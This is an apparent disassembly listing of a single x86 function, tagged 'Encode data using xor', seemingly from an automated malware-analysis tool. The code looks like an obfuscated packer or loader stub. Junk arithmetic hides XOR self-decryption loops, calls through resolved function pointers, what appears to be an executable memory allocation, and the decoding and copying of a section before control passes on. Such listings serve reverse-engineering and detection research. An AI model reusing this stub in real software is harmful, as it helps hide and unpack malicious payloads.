Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x84f572dd
add eax, 1
not esi
sub esi, eax
popal
sub esi, 0x918e2eee
sub esi, 1
mov esi, 0
mov eax, edi
sub ebx, edx
and edx, edx
sub ebx, edx
mov ecx, eax
mov edx, 0x3bbcc087
add edx, 1
mov edi, ecx
dec ebx
add ebx, 0x596f50ae
inc esi
add edx, 0x21adb1d0
or ebx, edx
cmp esi, 0x100b2e7
jne 0xa789ce
or edx, ebx
add edx, ebx
add ebx, 0x191682b
mov esi, 0x53dd0967
inc eax
mov ebx, 0xa78796
sub eax, esi
not edi
and edi, eax
mov ecx, 0xa7898a
add esi, esi
add eax, edi
mov edx, dword [ebx]
inc edi
inc esi
and edx, 0xff
sub edi, 0x1ad15a46
mov esi, edi
add esi, 0xb6e7b568
xor dword [ecx], edx
add edi, 1
add eax, 0x19108a8e
inc ecx
mov esi, edi
sub edi, 0x334bcd73
add eax, 0x7d0b4532
inc ebx
add edi, 0xd63db66f
mov eax, 0x55b25667
cmp ecx, entry0
jl 0xa78a25
sub edi, 0x169a0564
add eax, 0x5577cccb
sub eax, 0x98be736e
add esi, 1
dec esi
add ecx, 0x3f4c9e0d
mov edx, 0xaa0c0bb3
mov esi, 0xa7898e
mov edx, ecx
sub edi, ecx
mov esi, dword [esi]
sub edx, 0x26868310
or ebx, ecx
mov esi, dword [esi]
sub ebx, edx
and ecx, edx
sub edi, 0xb3350c69
push esi
sub edi, 0x8f899ff5
add edx, ecx
mov esi, 0xa7898a
mov ecx, edx
not edx
not ecx
mov esi, dword [esi]
sub edi, 0xeef8531e
mov ebx, ecx
sub ebx, 0x4a24bb90
mov esi, dword [esi]
dec ecx
or edx, ebx
push 0xa78992
sub edx, 0xabb19f04
or ebx, edx
sub edi, ecx
call esi
and ebx, edx
sub ebx, edi
or ebx, ecx
pop esi
inc ecx
sub ecx, ebx
add edx, 1
push 0xa7899f
add ebx, 1
and edx, edi
add ebx, edx
push eax
mov ebx, edi
inc ebx
not ecx
call esi
mov ecx, edx
sub edi, ecx
push 0x40
sub ebx, 1
inc edi
push 0x3000
sub edi, ecx
sub edi, 0x939dd78
sub ecx, 0xafff4131
sub esp, 4
mov dword [esp], 0x20000742
mov ecx, edi
inc edi
push 0
and edx, edi
sub ecx, 0x30011063
call eax
add edx, 0x67ec9dcb
add edi, ecx
add eax, 0x2000068c
not edx
inc edx
dec edx
mov esi, 0xab8b5f2f
mov edi, 0x65a8277e
add edx, ebx
add ebx, 0xa853f7bd
mov dword [eax], esi
sub ebx, ecx
add edx, ebx
inc edi
mov esi, dword [eax]
dec ecx
mov ebx, edx
sub edi, ebx
cmp esi, 0xab8b5f2f
je 0xa78b96
mov ebx, 0
mov ecx, dword [ebx]
add edi, edi
sub ecx, 1
not edi
or ecx, edi
not ecx
mov esi, eax
sub eax, esi
mov ebx, section..reltc
add esi, 0xdb4556dc
add esi, esi
and eax, eax
mov edi, 0xa78795
inc eax
inc eax
not esi
mov edx, 0
sub eax, 0x385d88dc
sub eax, 0xfbca0c1e
mov ecx, 0xa78796
add eax, esi
add eax, esi
lea ecx, [edx + ecx]
add esi, 0xdf9a29e4
and esi, esi
mov ecx, dword [ecx]
dec eax
sub eax, esi
sub esi, eax
and ecx, 0xff
sub eax, 0xe1757634
sub esi, eax
sub eax, 0xe3a87737
inc edx
and esi, esi
add eax, 0x8132cc1
add esi, esi
cmp edx, 0x1f4
jne 0xa78c18
mov edx, 0
mov esi, eax
dec esi
mov esi, eax
sub esi, eax
inc esi
xor dword [ebx], ecx
mov esi, 0x5f5ceaef
sub esi, eax
add eax, eax
add ebx, 2
add esi, eax
add esi, 0x2b08a140
add eax, 0x71634809
cmp ebx, edi
jl 0xa78bd1
mov esi, eax
dec esi
sub esi, 0xd30d7aac
add esi, 0x32b21093
add esi, 0x5a4a486
sub eax, 0x7fe0bdcf
mov edi, section..reltc
sub ebx, 0xd83263a4
add ebx, eax
dec ebx
mov esi, section..reltc
mov eax, 0xf44455a0
sub eax, ebx
mov ebx, eax
mov ecx, 0xa78795
and eax, ebx
inc eax
mov edx, 0
mov eax, 0xaa009cee
or eax, eax
mov dl, byte [esi]
add eax, 0xa25e5ac8
add ebx, eax
mov byte [edi], dl
and ebx, ebx
sub ebx, eax
add eax, eax
inc edi
and eax, ebx
and ebx, ebx
add esi, 2
sub ebx, 0xb0273cd
or ebx, ebx
add eax, 0x898bd95b
cmp esi, ecx
jle 0xa78c92
not eax
or eax, ebx
or ebx, ebx
not esi
sub esi, 0xddb773b2
push 0x8dc6a0
and eax, eax
mov eax, esi
sub esi, 0xffba08e5
ret